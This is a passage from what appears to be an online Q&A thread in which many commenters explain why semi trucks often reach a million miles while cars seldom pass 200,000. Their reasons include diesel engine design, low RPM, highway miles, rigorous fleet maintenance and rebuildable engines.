long the engine has been exposed to the heat it generates.", "Ex auto engineer speaking. Simple answer is they are true diesels. All diesel engines have major advantages over gasoline engines. Diesel car engines have lasted 750k+ miles many, many times (proper ones, European cars almost exclusively). In the USA we got fooled by crap diesel cars we designed from gas engines, but that's another topic. Proper diesels use compression firing instead of super hot spark plugs. Diesel is an oily fuel and lubricates whereas gasoline is \"dry\" and solvent-like. Diesels run cooler. Diesels have loads of torque at low RPMs. Add all this up and you have cool, oily, metal that moves at lower RPMs. Good things for metal engines.\n\nEdit: Wow thanks! Didn't expect all the attention! Ok: I've had persistent requests so here goes:\nTrue diesel: 1980's-2000's Renault 4-cylinder design. 55mpg, spirited off the line and virtually indestructible.\nCrap diesel: 1978-1990's Oldsmobile hastily designed from an existing gas engine - of course the diesel design didn't include spark plugs! But many inadequate parts for diesel specs remained. Temperature- Diesel autoignition at max compression firing doesn't approach the 500-800 deg. C of spark plugs.\nPressure- until recently diesel injection, even with turbo, didn't approach the incredible pressure of gasoline piezo elec.@ 1750 bar (25,000 psi!)\nComplexity/cost: diesels cost more at first to build and even maintain but make sense after a few years. . . as long as emissions requirements, higher diesel tax, turbos, etc. don't piss on the parade first. They are more powerful than gas engines (esp. for initial accelerating/towing), more efficient than hybrids, safer than electrics (and better for enviroment). Why aren't diesels more popular? Like streetcars and carpooling, they make more sense than money, and consumerism rules the day. Sales (Kia) vs. epic reliability (Allis-Chalmers)\nEdit 2:\nI've been asked how I buy cars.Launching any new model for any reason and each individual change is an opportunity for problems to pop up. Brand new models typically are junk and get recalled for this and that as Engineers scramble to fix unforeseen problems. So in secret, development continues in earnest for a year after it launches until as many bugs are fixed as possible during countless customer and consumer tester reviews. By the second year the jury has spoken, first impressions are in the books and the money for improvements switches off and gets routed to newer projects. Diesel trucks don't have this extremely short cycle. Anyway the second model year is the best. This is the point the quality is optimal. I always buy 2nd or 3rd model year vehicles. From year 3 cost-saving schemes begin to strip down the car in every sense. Cheaper materials, rework components start rotating in, new lower cost suppliers, less inspection, backup features go away if no one notices (like double seals, to save cost of one o ring). By year 5 most plastic is regrind resin and will fade and warp in heat / sun / cold. Big rig makers would have hell to pay trying that stuff on haulers.", "Trucks do a lot of maintenance. Oil changed every month, undercarriage greased every week etc \n\nIf a car was maintained to such a degree then it would last a million miles ", "As others have said, the diesel engine and over the road miles are the big factors for the power train.  As for the rest of the components, a lot has to do with the way trucks are built versus cars.  \n  \nCars are built to handle better and be more fuel efficient.  The result is lighter weight and more intricate parts that wear out or break faster.  \n  \nMaintenance is another key factor.  Trucks are typically maintained at regular intervals, which includes far more than just an oil change.  Lubricating suspension parts regularly, for instance, makes them last a lot longer.", "Along with the already discussed benefits of the diesel engines long life...\n\n\nMost of the wear and tear on engines (and vehicles as a whole) is due to stop-and-go traffic. The repetition of braking, idling, then accelerating, then braking again puts more strain on the engine because inertia will make moving the car harder from stopped.  The life of a semi truck is mostly spent on the interstate,at a single speed, and maintaining a pretty constant RPM. The Truck can potentially only accelerate from stopped once a day, he can carry his momentum from that point on until he runs out of fuel. This puts way less strain on the motor itself. ", "Many reasons combined together:\n\n* Diesel Engines tend to be more reliable\n\n* Mostly highway miles, which are easier on a vehicle\n\n* Maintained more regularly\n\n* Driven more moderately by a professional to minimize wear and fuel cost\n\n* Designed to last longer (generally speaking semi-truck buyers focus on Total Cost of Ownership or lifelong cost, whereas car buyers think only about the up-front cost)", "Diesel tractors (commonly referred to as 'trucks' or 'semis', when a semi is a type of trailer...) have engines which are quite commonly rebuilt as a preventative measure, which could be scheduled months or even years in advance if a set number of kilometers or poor oil sample results are identified. Many of the tractors you see on the highway have had extensive maintenance and many, many parts replaced in order to make sure that the vehicle they paid $250k  for will stay on the road until such time as either a new tractor is nessecary or they are making significant profit with the old, paid for tractor they own now.\n\nDiesel fuel is a lubricant, yes, but it is also VERY dirty (ultra low sulphur diesel in North America is actually dirtier than ULSD in Europe) which means that with new oil standards (CES20081 CJ4 low ash oil) you will need more frequent oil changes to recome contaminants from the system. This usually doesn't happen, and I see a lot of diesel engines everyday that do not make it to one million of anything. And now with most large tractor fleets moving away from owning trucks for more than 3 years seeing a tractor with 1mil  is going to be more and more uncommon.  \n\nWhy you should kinda believe what I said: heavy equipment technician, engine exclusive", "My lorry has a max rpm of 1700 and cruises top speed on the motorway at 1400rpm. My car on the other hand has a max rpm of 6000. Lower rpm means less stress on the engine. Plus my lorry is maintained regularly with services. \n\nAlso I think age may have something to do with it. My lorry has over half a million miles on it and its only 5 years old. Over time things corrode and rubber seals and pipes perish. I think you stand more of a chance of hitting a million miles if you regularly drive long distances over a short period of time (and maintain the car well) rather than doing small mileage over a long period. ", "Trained drivers that don't abuse the vehicle (typically not exceeding 55 in alot of places, or 70 in others) alot of easy cruising, no hard accelerations, and, being diesel like other people have said.\n\nAlso much higher build quality since most companies buying trucks pay top dollar for a reliable frame. A couple missed loads and breakdowns, and buying the cheaper truck doesn't end up paying off. \n\nsource: Uncle is a truck driver.", "Simple answer: noting with cooling or crap, the reason is that they are designed to run longer. When a truck is running 12 hours a day or 24hrs with multiple operators, A truck has to Take the stress. Heavier components.  Dashboards that flip open for service. Massive frames and drive train bits.", "There are two main reasons for this: \n1) You are talking about \"long haulers.\" These guys and gals drive 8 (previously 12) hours a day with 90% of it being on the highway in their highest gear. This doesn't actually put a lot of strain or wear on the vehicle. \"City haulers\" on the other hand drive stop-and-go and wear their trucks out significantly quicker. \n2) Diesel semis are designed specifically to be rebuilt. The cylinders are lined so you don't have to change the entire engine but just six liners, as well as the pistons, connecting rods and bearings (in addition to your typical wear parts, like injectors). In the end, you basically have a new motor without completely switching it. \nSource: I work for a semi drivetrain producer ", "A few reasons:\n\n1. They are design to handle more miles (this includes the fact that they use diesel engines)\n\n2. They are often maintained better (you'd be surprised how many miles you can get certain engines... some cars are quite reliable)\n\n3. They are (usually) driven far easier. I think this point deserves to be explained further:\n\nI don't think most people realize what type of driving is best for an engine. If you drive short distances, especially with a lot of stopping (i.e. traffic), you are treating the engine pretty severely. I feel as if the misconception is that driving fast/reckless is hard on a car (which is can be) when it's \"typical\" driving that is often hardest on an engine. Your commute. Quick trips to the grocery store. Etc...\n\nFor instance, a car with 100,000 highway miles in 5 years that was properly maintained is likely in better condition then a car that was driven 100,000 miles in 10 years all in short drives. Sure, you are driving double the amount, but once the car is up and running and cruising at highway speeds, it is causing far less strain. It is the constant starting and warming up and turning off and cooling down that wears on a car. The stopping and starting when in traffic, constantly sitting in idle, then going through gears and spending time at higher RPMs.\n\nSo, these trucks have a perfect storm of technology, maintenance, and usage that enables them to go far longer than most cars.\n", "You can get many more than 200,000 miles out of a car if you maintain it religiously. I've seen Hondas with 250, 350 and one with 400 thousand miles. We have a Chevy truck at work (gas V8) with 370,000 miles. Maintain your vehicles and they'll last a while. No conspiracy here! ", "One reason I don't see mentioned here yet is that a lot of the wear and tear on an engine happens as it is starting up and the oil hasn't warmed up and spread around. Most cars are used for relatively short trips, so they spend a lot of time starting driving around before they are warmed up. Long-haul trucks are usually driven hundreds of miles at a time so they spend most of their time nicely warmed up and don't need to accelerate and decelerate as often.\n\nAny new car should be able to make it at least 500,000 miles if it is driven gently and maintained regularly, but very few cars are maintained properly or given time to warm up before driving.", "You may need to try to think of this in terms of years on the road not merely raw mileage. A semi truck is driven far more miles per year than you average passenger car. I believe semi trucks are driven an average somewhere between 50,000-100,000 miles per year and passenger cars are typically expected to be driven between 10,000-15,000 miles. If we took the low end average for those two ranges, one million miles = 20 years of life for a semi and 200,000 miles = 20 years as well for the passenger car.\n\nOthers have already mentioned the differences in the build of the chassis and diesel vs. unleaded fuel elements; but I think this also plays a factor in the longevity, mileage-wise, of the two types of vehicle. ", "*adjusts tie, clears throat, sips glass of ice water, clears throat again* DIESEL.", "I work in the transportation industry so here's my basic points as to why: \n\n-The Industry is more tightly competitive on quality of parts on commercial motor vehicles.  You have to perform as a manufacturer in this industry or you get shunned.  \n\n-The Department of Transportation has heavily regulated preventative maintenance program on trucks.  This means that parts on these trucks are getting replaced at a higher rate then in the past.  Carriers have to put more money into maintaining trucks because too many violations could put them out of business.  That's why there's a huge trucker shortage in the U.S.  \n\n-These trucks are subject to very detailed inspections in their terminal, road side, at truck stops, and a weigh stations.  You can watch a Level 1 MCS inspection [HERE](_URL_0_)\n\n-Diesel engines by their nature and configuration last longer than gas engines.   ", "2000 Chrysler 300 with between 550,000 and 600,000 miles (unverified, odometer stopped @ 460ish, now running GPS), almost all original where it counts.\n\n\nI'm no mechanic, but I think a few factors explain why my car drives so well for such high mileage:\n\n\n1) I drive long distances, almost all of it highway. Minimizes gear-shifting, keeps engine RPMs low for less wear, and the engine is hardly doing work while racking up miles quickly. This also means the oil stays warm--as I understand it, cold-starts are where engines experience the most wear.\n\n\n2) Maintenance has always been of UTMOST importance. I'm strict in that I change my oil every 6,000 miles, transmission fluid change (NO FLUSH) every 50,000 miles. Vehicle specific, but every 100,000 miles I change the spark plugs, timing belt  &  tensioner, and coolant pump. Tire-wise, I rotate every oil change and only buy all-seasons (they seem to last longer). Every once in a while, I have a good mechanic friend look it over too. He greases the chassis as well (no set interval though).\n\n\n3) Good driving habits. For example, my wife has a tendency to reverse and then slam it into drive before the car comes to a complete stop (I've seen lots of people do this). Over time, I imagine that could decrease the life of the transmission. Also, let your car idle for a few minutes before shifting gears on a cold-start.. the transmission needs time to get the fluids flowing. Basically, treat your car like you WANT it to last forever. Of course, I think it's good to open it up every once in a while too (full-throttle runs).\n\n\nI'm positive I'm forgetting some stuff... if I think of more, I'll add it. And of course, most of what I've said is fairly intuitive. Personally, I've never run any fuel or oil additives. I fill up at gas stations I trust (always Top-Tier, which I guess has additives), and never when there are tankers filling the reservoirs (they stir up debris which could end up in your tank). \n\n\nLastly, I imagine trucks are simply designed to go long, long distances. They're probably over-engineered by comparison to passenger vehicles. I'm not a truck driver, however, so I can't necessarily speak to that from personal experience. My point is that with the right treatment, passenger cars can go for a long time too. Maintenance (even when you think you don't need it) really is a paramount factor. Last year we traded my wife's Hyundai at only 100k because it was starting to develop a bit of rod knock (don't ask me how or why). All I can say is I wasn't the one responsible for maintaining it. The new car, I check in on every once in a while ;)\n\n\nIn summation, I've always treated my car like a member of the family (or a great friend). My driving style (frequently and for long distances) is also favorable--city-bound cars won't typically last as long because they operate under more \"harsh\" conditions (short trips, stop  &  go traffic). Most of it comes down to maintenance, I believe. Truck drivers are probably especially meticulous, since their career quite literally depends on their vehicle.\n\n\nI like to think of how much money I've saved with this car. I bought it with around 170k for only $4.5k and am almost to the moon for the second time. She hasn't asked for much, either. I know at least one other person here already said it: people have a tendency to treat cars as if they're disposable. At the slightest problem, people would rather trade it than put a little money into it (I admit we took this route with my wife's car but frankly, I always kind of hated that car anyways). It's not the end of the world (look at the economy it has produced!), but it's something to think about.", "In addition to the benefits of diesel, I can't believe that the top comment doesn't mention the fact that large diesel motors are designed to be rebuilt.   They are designed to be serviced, not simply thrown away.  The people that buy these trucks and heavy machinery want these assets to last a really long time.\n\nLarge diesel engines have a feature that most light passenger vehicles don't.  Their cylinder walls (called sleeves) can be replaced.  When the cylinder walls start wearing out due to high-mileage, the motor can be rebuilt to the same tolerances it had when it drove off the assembly line.  This can't be done on a passenger car/truck without replacing the engine block.\n\n\n\nSo, the \"engine\" on these semis may have a million miles on it, but it's really only the engine block that has been subjected to that.  The internals of the engine (pistons, rings, cylinder sleeves) are replaced at pretty normal internals.  \n", "I work for a logistics company and we own/operate about 5,000 trucks.  There are a couple of things... \n\n* diesels are much longer lasting than gasoline motors\n* big rigs are actively monitored and maintained.  So a lot of preventative maintenance is done.  If they aren't in perfect working order, they don't go out on the road.  So major issues don't creep up\n* they have lots of gears.  When you have 18 speeds, you are able to keep the engine at lower revs and put less stress on the drive train as you are getting up to speed. \n* they typically drive a lot of highway miles. ", "Sitting back here with my 93 Toyota Corolla with 312k miles on it rubbing my hands together like an evil mastermind.  ", "I have two MBenz 300d's (1978 and 1979), apart from looking like garbage (wear and tear) the engines on both are 300k and going strong! ", "Even if you COULD go a million miles in a car, would you WANT to? Sure the drive train might still be functional at such an advanced age, but you spend all your time inside the cabin. The plastics will crack, the fabrics will fade and tear, the springs and foam  in the seat will wear out. So will the rubber seals and grommets and all the suspension components. The owner of a tractor trailer makes money every mile the truck moves, so it can be worthwhile to pay to have everything replaced as it wears out.  Your car just hauls your ass around town. Nobody cares what a tractor trailer looks like. But do you want to drive, or be seen driving, a car with a million miles on it?\n\nAt a couple hundred thousand miles, a car is used up and it's time to move on.", "Most cars don't make it to 200k because most drivers haven't got a clue on proper maintenance.", "I work as a Diesel mechanic on semi trucks, I can tell you that they don't do a million miles without any help. Most semi trucks are in fleets and they get a ton of proactive maintenance done to them as well as scheduled maintenance which helps them reach those numbers. Most people just hop in their cars and drive the only time the vehicle gets love is when you need to do an oil change, where as most semi trucks have a lot of work done to them over the process of the year.", "Semi trucks are lucrative by going far and not breaking down along the way. Cars are lucrative by sucking every dollars out of your pocket it can get away with.", "*Fleet Manager*\n\nKinda easy really.. all the parts are bigger heavier and longer lasting... Most of their time is highway time versus redlight to redlight, or idle time while being loaded/unloaded.  Very little stop and go compared to a regular use auto.\n\nThe engines have higher oil capcities.. so longer service intervals...\nThe engines make more power with less revolutions.. they don't have to work as hard.. at the expense of fuel economy and pollution. \n\n\n But most big trucks are fleet owned.  If even a small issue comes up it's general fixed immediatly. There is generally no  \"let it ride\" or \"deal with it.\"  \n\nMost fleets can't afford to let their vehicles get crappy on them.. they are always doing preventative maintenenace.. weather it is obvious that  the truck needs to be done or not.  Also we have a complete government agency dedicated to making sure our trucks are safe and operable.   We get annual inspections and are also randomly stopped and checked. We get fined heavily from anything from tread depth to a lights not working could cost us big in down time and lost revenue.. so we tend to pick our trucks apart and make sure they are in proper order.\n\n\n Most products purchased for their fleet vehicles are quality parts not crap purchased on the internet.. We look at these trucks as thing to make us money.. not as a car owner does,  as something that costs us money, so we take better care of them.\n\n\n\n", "semi trucks also cost to the tune of $250-500k for an OTR long haul rig.\n\nthere's a lot of engineering you can get for $200,000 dollars, you can make a car go 250mph, or a truck go 2million miles.", "Basically, it's highway miles vs street stop and go miles. ", "While the durability of low-stress diesel engines is the major reason, there's also the factor that semi-trucks are used as a money making tool. \n\nAs a result, they're maintained much, much better than your average consumer who can't seem to remember the last time they changed their oil - let alone driveline fluids, timing belts, gaskets, bushings, etc. \n\nSource: Father was a semi truck driver", "I have a 2005 Subaru Forrester! 130,000kms and she's never let me down! Worst issue was that the electric window on the drivers side stopped working. Would buy a Subaru again, they are awesome! ", "Ex mechanical engineer and truck driver speaking. There are several reasons:\n\n1) A truck is putting on ~100,000 miles per year. A typical car puts on more like 15,000. So by the time the average car has 150,000 miles, the truck has already done a million. It's not just mileage that wears things down; with age comes rust and fluids breaking down, etc. The million miles is also mostly highway.\n\n2) Trucks run diesel engines at very very low RPM. Others have already covered this in detail in this thread. \n\n3) Stuff does break and wear out, just like it does with cars, but with $150k+ vehicles that are your only source of income, you get them fixed. You'd be shocked how much money goes into repairing and maintaining semi trucks. \n\n4) A car will run an infinite number of miles if you're willing to keep sinking tons of money into fixing it. The real issue is: at what point does maintenance become more expensive than replacement? ", "My great uncles 1969 peterbuilt ran 6 million long haul miles. He has the odometers to prove it. He drove the beast his whole career. That's quite a few trips to the moon and back. His dispatching company bought it and restored it for historical floats and stills hauls in parades. ", "almost any gas/diesel engine can go a million miles with good maintenance and 90% highway driving.", "Man this is a loaded question. It really is a mix of preventative maintenance and the driver. More so the preventative maintenance. But these trucks are designed to be repaired often. Even the motor is highly repairable. The engine cylinders are designed to be pressed in and out as needed. A complete engine rebuild kit can cost less than the cost of a new motor for some personal vehicles. However, semi's for the most part do not live past 15-20 years. They are cycled often to keep repair costs down. Often we will find trucks will be leased for 5-10 years and once again cycled when needed. However, preventative maintenance is KEY. We (I) preform maintenance on these trucks daily. I run a hauling shop for a large Waste company and we have a very stringent preventative maintenance program where we will have a truck in the shop every 150 hours just for pm. Most dont know but a truck will be on the road for up to 14hr a day in the US, sometimes more if tag teaming. So this 150 hour clock winds down quickly. I have 7 trucks in my fleet and I have a truck in the shop nearly every day for a PM and a PM can take me around 2-4 hours. This includes greasing the entire truck, inspecting the brakes, tires, lights, chassis components, frame, wiring, starting system, batteries, engine, turbo system, cooling system, drive train... But, the driver needs to tell us about needed repairs we may overlook or if something breaks in between PM's. Drivers habits also playing into this as well. Some drivers treat their trucks like a Maserati and others a 30 year old 4x4 that's all rusted to hell. \n\nSource: I fix these bitches. ", "Most trucks will easily run 400k miles with few problems. After which they're in the shop more than on the road it seems. They do get serviced more meticulously than passenger cars, and diesel engines last much longer due to design, but the real reason you see higher mileage trucks on the road is the cost to replace them. When a 2012 Freightliner Cascadia with 300k miles is still worth $85k, a $3000 engine repair plus the cost for a rental sucks, but still gets done. Heck, a 800k mile Volvo still has a value of over $40k.\n\nI see a lot of trucks in my line of work. You don't see a million miles much anymore. With all the new technology and federal emissions regulations like DPFs, Regens, and DEF tanks, they just don't hold up as well. Volvo tractors are nothing more than lots of plastic with \"Engine Fault\" painted on the dash. When the cost to own went up due to emissions related services, manufacturers started sacrificing material quality for price and vehicle tare weight.", "My 1995 F350 has 240k miles on it. It's barely broken in. I change the oil every 5k, the trans fluid every 10k, and the diffs every 15k. Like the first responder said, diesel fuel is greasy and doesn't require an engine to run hot. Cooler operating temps and lower RPMs combined with an oily fuel that lubes is a recipe for longevity. ", "Truck dealership employee here. I've worked in this field for 15+ years in almost departments -- parts manager, service manager, truck sales, general manger, and now marketing and IT. \n\nFirstly, commercial trucks are assets not some personal transportation vehicle. They are designed for specific tasks that make a company money. This can be line haul or even simply in town delivery. If you mate a correct truck spec with its application it will last for years. Commercial engines are designed with B50 life expectations. IE, B50 1,000,000 miles means 50% of the vehicles will make it over 1 million miles before needing an overhaul. Which brings up the next point. Engines are designed to be rebuilt so that cylinders, cranks, etc ... Can all be replaced to keep the engine going. \n\nTransmission and rear axle technology has come a long way now as well. The typical line haul truck has 300,000 mile or more warranty on just those components. 500,000 isn't out of the norm either. \n\nMaintenance is a large part of it too. If end users follow the guidelines they can usually hit the B50 life pretty easy. They are not cheap to maintain or fix, but each truck can also generate huge revenue for a company. \n\nAn average line truck does around 100,000 to 120,000 miles a year. A 4-wheeler does maybe 20,000? So even though a commercial trucks lasts more miles, it's useful life is probably similar. \n\nA \"fleet spec\" line haul truck is going to run around $120,000... So someone here can do the math so see how that compares if they would like.  ", "I checked the first dozen or so posts and didn't see anything about appearance, which is a factor too.\n\nA ten year old car is very obviously a ten year old car.  Semi trucks do get facelifts and evolve style wise over time, but much more slowly than consumer automobiles.  Because consumers are a lot less inclined to keep an older car as opposed to replacing it, they're not made to last.  Whereas a lot of ten year old trucks which were originally leased to large companies, go on the used market where owner/operators often buy and take great pride in them.  (This is a 1992 and a 2007 Peterbilt side by side.)[_URL_0_]\n\n\nHarley Davidsons have a very similar stigmatism- [the difference between a 2005 and a 2015 Street Glide is not that apparent.](_URL_1_)", "This thread is missing a big point. Semi trucks rpm don't go as high as cars on average. Higher rpms means more wear and tear on the engine. ", "It's not only that it's a well maintained, low revving diesel engine (low for an automobile diesel, I mean) that does mainly long haul, it's also an economic factor. Let's say you buy a European diesel car, for let's say 35000$. If the engine doesn't blow up the first 60000 miles, then it probably won't for the next 250.000, either, proper maintenance taken for granted. \n\nHowever, you do need to exchange parts. A head gasket here, a clutch there, bunch of bearings and a water pump every now and then. Stuff starts adding up and eventually rust might also be in the picture. There comes a point where it just isn't economical anymore to fix every other thing. \n\nHowever, if you paid a quarter of a million dollars for a truck, a 5000$ repair bill doesn't look so horrible when you compare it to what a new one would cost you. \n\nAlso, you have to look at the ratio of power to displacement. A run of the mill truck will crank out about 550hp - but it also has a 16l engine. So we usually end up somewhere in the general area of about 35hp/l. A BMW 535d will shell out a whopping 300hp from just 3l. That's 100hp/l, almost three times as much. Of course, torque is more important for a truck that horsepower, but you get the picture. \nThus and because everything is wayyy bigger, you can build it a lot sturdier and quite frankly, who cares if a truck is 100lb heavier than it absolutely has to, when those extra 100lb give you an extra 200k miles. ", "Because commercial vehicles are meticulously maintained and will NEVER be late for a service check up while most car owners are constrained by cash when it comes to regular maintenance.", "As another eli5 dude it comes down to this.\n\nOver the road diesel trucks are built to run that long regardless of costs involved, whereas passenger cars are built to be affordable to the majority of families. Different priorities. Those trucks cost as much or more than most families homes. ", "A lot of the cars that Americans would buy in diesel are illegal in the united sates\n\n_URL_0_", "VW's......LOL.  Engine still good, but everything around it is broken.\n\nUnbelievably poor build quality.  Pathetic. 2001.", "Low rpms, good maintenance, and the general nature of diesel engine. Gas engines can go as far with good maintenance. ", "Engine is diesel, which lasts a lot longer. Much of it is stuff is simply *much* larger. Bigger tires turn fewer rpms, which considerably reduces wear on the much larger bearings and much larger steering components, which also reduces wear and tear. Regular maintenance definitely is key but some fleets arent particularly good at doing it and the trucks still go a half million in five years pretty easily. Bigger, beefier parts simply hold up better. Look at the size of the steering gearbox and tie rods on a semi", "My uncles own a trucking business so my besides the true diesel engines those trucks also undergo TONS of maintenance.", "Gotta love living in Brazil. We can't have nice diesels. Because the fuel is subsidised by the government, diesel engines can only be used in trucks/cargo vehicles", "I think most people are missing the main point which is that they are designed to run that long.  A semi tractor is a huge investment.  People buy them to make money, to do tjis they need to be on the road hauling freight.  Ford could build a car that lasted a million miles, it would just cost more than people wouldbe willing to pay.", "I don't know if this has been said, but the semi trucks put on a vast majority of their miles on the highways, driving at a constant speed with little speeding up or slowing down. This is why when someone is selling a car with high millage, they will point out that it is mostly \"highway miles\"=less wear on the drive train.", "Planned obsolescence in cars is also a non negligible factor.", "Diesel engines must operate at much higher compression ratios, and as a result the engines are build more ruggedly.\n\nA typical gasoline engine has a compression ratio of anywhere from around 7:1 to 11:1 or so. The higher the compression, the more effectively fuel can be burned, but at the same time there's a greater likelihood that there can be preignition (pinging). This is because the fuel in a gasoline engine is mixed with the air before being sucked in to the cylinder and compressed. The heat from the act of compression can be enough to cause cheap gasoline to burn before the spark plug fires (which causes pinging). Higher octane fuel has a higher ignition temperature, but there's still a limit.\n\nDiesel engines compress the intaken air much more. Typical compression ratios are anywhere from around 19:1 to 23:1. As a result of that much compression, the air is superheated to a high enough temperature that injected fuel burns spontaneously, which is why fuel is injected at the time of burn, not beforehand.\n\nPiston rods and pins, bearings, and all the other load bearing parts of a Diesel are thicker and can handle much more force in order to handle that much higher compression ratio, so one result of this sturdier design is that, when maintained decently, they'll last forever.\n\nLike others have said, American Diesel engines have been given a bad reputation by dumb American car makers who used converted gasoline engines in the 1970s along with marketing which has encouraged most people in America to think they have tiny penises if they drive something that doesn't have hundreds of horsepower. Diesels typically put out less horsepower but more torque for a given engine size, but the tradeoff comes in much better fuel efficiency, which, again, only works in an American market when it is decided it can be used as a marketing gimmick.\n\nIn California, for instance, you couldn't buy a small 4 cylinder Diesel that gets better than 50 miles to the gallon because of emissions concerns, but you could buy a monstrous Cummins 6.7 liter Diesel engine in a pickup truck that puts out 350 horsepower and 650 foot/pounds of torque. Go figure.\n\nOne distinction worth noting is that certain smaller Diesel engines for passenger cars aren't quite as robust as their big truck brethren because of the heavy use of aluminum in smaller engines to reduce weight. Diesel engines with aluminum heads are notoriously fragile and one improperly torqued head bolt can warp a head. Add to that the fact that, like others have mentioned, trucks are better maintained than cars, generally speaking, and you can see why we don't have tens of thousands of perfectly good older cars around that get better than 40 miles to the gallon.\n\nA rare example of a proper Diesel in a car is the Diesel Chevette. In the late 1970s and early 1980s, at the tail of the 1970s energy / oil crisis, GM thought it'd be good to have a highly efficient passenger car. GM had partial ownership of Isuzu, and Isuzu makes Diesel engines for all sorts of applications. GM, therefore, decided to put a small 1.8 liter Isuzu Diesel in to their Chevettes. What made this engine a little special, though, is that it's the same kind of engine used in generators and marine applications, and is made with a cast iron block and head. So long as you change the oil and filters, and change the timing belt every 100,000 miles, this is the kind of engine that will run forever. I have more than 600,000 miles on mine and I still get between 40 and 50 miles to the gallon. Plus, I can tow anything I want even if it doesn't go horribly fast :)", "Town car sitting at 441k lmao fuck that 200k peasant shit", "Truck drivers do daily walkaround inspections (supposed to, anyway). Minor defects are noted on a 'cry sheet'. Major defects are brought to the carrier's attention for immediate repair, or to remove the unit from service. Daily inspection reports should be turned into the carrier at least every two weeks (this is a legal requirement as well as a good company policy). Company mechanics or fleet managers check these reports...tracking engine hours, mileage and minor defects. Preventative maintenance is performed at regular intervals usually based on hours. My truck gets an oil change and grease job every 300 hours - and every 2nd service, it gets all new filters. A full commercial vehicle safety inspection is required every 12 months. These trucks are an expensive tool. It is in the company's (or owner/operator's) best interest to maintain them. Plus the fact that they are indeed 'heavy duty' - built to run hard for a long time.\n\nEdit: I should also note that big trucks aren't really \"worry free\" for those millions of miles. Things break all the time. They get fixed and put back to work.", "i'm sure planned obsolescence has something to with it too right?", "It's like Volvo who used to use a phrase in their advertising  (for passenger cars)  \"Lasts 11 years\".  They had the documentation to prove it.  \n\nReason being....the typical Volvo owner was the sort of person who **wanted** their car to last a long time....so they typically over-maintained their cars;  compared to typical car owners.\n\nIf a FORD or CHEVY were maintained in a similar manner.....they would last 11 years as well.....\n\nPoint is.....it's mostly about maintenance.", "Matt Farrah (spelling) from The Smoking Tire has a 900k mile Lexus. Aside from some wear it works great still.", "Are cars meant to fail after 200k miles? ..besides toyota", "weight they can be overbuilt because it doesn't mater if the engine weighs a lot it makes more than enough power to counteract that extra. because its over built and heavy it last longer the other thing has been mentioned and preached about already is maintenance most semis are company own or owner operators but either way their ability to get paid depends on that truck working its the same way a chef will sharpen his knife a well maintained tool is a safe and long lasting one plus they are fucking expensive and making it last is a good business decision as well", "Companies that buy semis dont care about that new truck smell, and dont want to trade them in every 3 years for the newer cooler model, and they arent worried about the resale value with 30k or 50k miles. And they arent willing to go get a new $400 vehicle note because their fuel cost went up $80 a month\n\nThey want a vehicle that will last years and go hundreds of thousands of miles with low maintenance and repair costs.  They will happily buy brand A everytime they need a new truck for their fleet.  But if brand A starts giving them problems, they will happily buy brand B.  And sure they will be concerned with fuel economy, but they arent going to go scrap their fleet, and buy all new trucks to get a few extra MPG's.", "Driving an '02 buick lesabre with 240k miles on it. Can wait to break a quarter million", "Certified mechanic for ten years.  The biggest thing is they have been designed so that you can rebuild when needed.  It's expensive but cheaper than buying new.      Unlike cars or light trucks when a repair cost more than the vehicle.  It's goes to the junk yard.  Plus semis make money unlike vehicles.  So they are always rebuilt.  There is money in it.  Cause semis are needed for every day needs for anything cause they transport everything.  Don't get It twisted A lot of semis are piles of shit.  In fact you probably see more broken down semis than vehicles on the side of the road if not the same. They Always get pushed to there limits and leave with out proper repairs to make dead lines.   Big thing is you can rebuild an engine with out removing it, etc. We're talking 1000+ dollar repairs every single time but if it's on the road, you can make thousands in a week.  \n", "From the posts I've read, a few things have been missed that are very important. \n1. As piston speed increases linearly, cylinder wear increases exponentially. \nThat basically  means that the higher the RPM, the faster the engine wears out.  Gasoline engines often run over 2k rpm while cruising down the highway.  Diesel engines, many of them at least, don't even spin over 2k rpm at full throttle. They are made to produce massive amounts of torque at low engine speed. That means the rings and cylinders wear at a significantly slower rate than that of their gasoline counterparts. \n2. Cold start.   Highway diesel engines run for hundreds of miles per day. The engine is started and warmed up once in that day and then run all day long. Most of us drive only a few miles to and from work. Our cars are started cold, and often driven cold, driven a short distance and then shut down. Heat cycles create extra wear as parts expand and contract during those times. Highway diesels are subject to less of those transients.  Plus they run cooler which slows the rates of expansion and contraction down. \n3. They run cooler. Cooler cylinder temps means less stress on everything. \n4. Detonation.  Gasoline engines are subject to detonation (spark knock, knock or whatever you want to call it) on a routine basis. Fuel is very volatile, has poor quality controls, burns very fast and is very violent. This results in many detonation events where the entire fuel and air mixture releases all of it's energy at once instead of being released at a controlled speed. Since the piston is moving up when the combustion event begins, a detonation event means that there are very large forces pushing back down on an upward traveling piston. This means wear for the rings, cylinders and bearings as well as large amounts of heat being deposited into the chamber, valves and piston crown. \n\nGasoline engines that are started once a day, driven 400 miles and then shut down will last quite a bit longer than the engines you and I have in our daily driver/commuter cars. \n\n5. Oil.  Diesel engines have much larger oil systems (10-20qts). Normal daily driven gasoline engines usually have about 5 qts. BMW, Porsche and other cars that are built with high performance in mind run 6 to 10qts of oil.  Oil removes 25-30% of the total engine heat created by operation. A larger system maintains more stable oil temps. If the oil temp is low and stable, less of it will be carried into the engine via the PCV system. This means less of the oil will be burned off and less carbon deposits will be generated in the engine, sticking to pistons, valves and ports.  Carbon deposits create hot spots that increase the amount of detonation an engine produces.\n6. Blow bye.  Gasoline engines have to have higher clearances to accommodate the larger heat ranges they operate in. This means that more post combustion gases get past the rings.  Gases that get past the rings pollute the oil system and degrade the quality of the oil. Fuel, water and gasses all get into the crankcase past the rings and degrade the oil in different ways. The lowers the ability of the oil to lubricate sliding surfaces and increases wear. \n7. Power density. Many diesel engines are upwards of 12L while many of us drive 2L cars. Many of those large diesel trucks only make 250hp (with lots of torque) while many of use have about 180hp (with little torque).  Just some quick math shows that we are creating a whole lot more hp per L of displacement. That means that our little engines are working harder and wear out faster. \n\n\nI hope that helps a bit in understanding some of the differences between those truck engines and our crappy little gas burning 4 cylinders. \n", "After a truck falls below a certain MPG effeciency they rebuild the engine. At least thats how the company I work for does it. \n", "Diesel engines last longer, there are fewer models coming out each year compared to cars so companies have more time to perfect each model/rendition of replacement parts, they are looked after better by their owners, there is a more developed and researched maintenance schedule available, they are simply bigger/stronger designed for heavy duty use... the list goes on. One is a professional grade vehicle, one is a vehicle meant to break down on purpose after a while.", "+1 on oil change, people don't realize oil low until they hear the \"ticking noise\" or even worse the oil light ! \ud83d\ude28", "A lot of people are saying that preventative maintenance, construction, and driving style are factors, and they are. However, I think there is another factor at play, and that is the replacement cost. At some 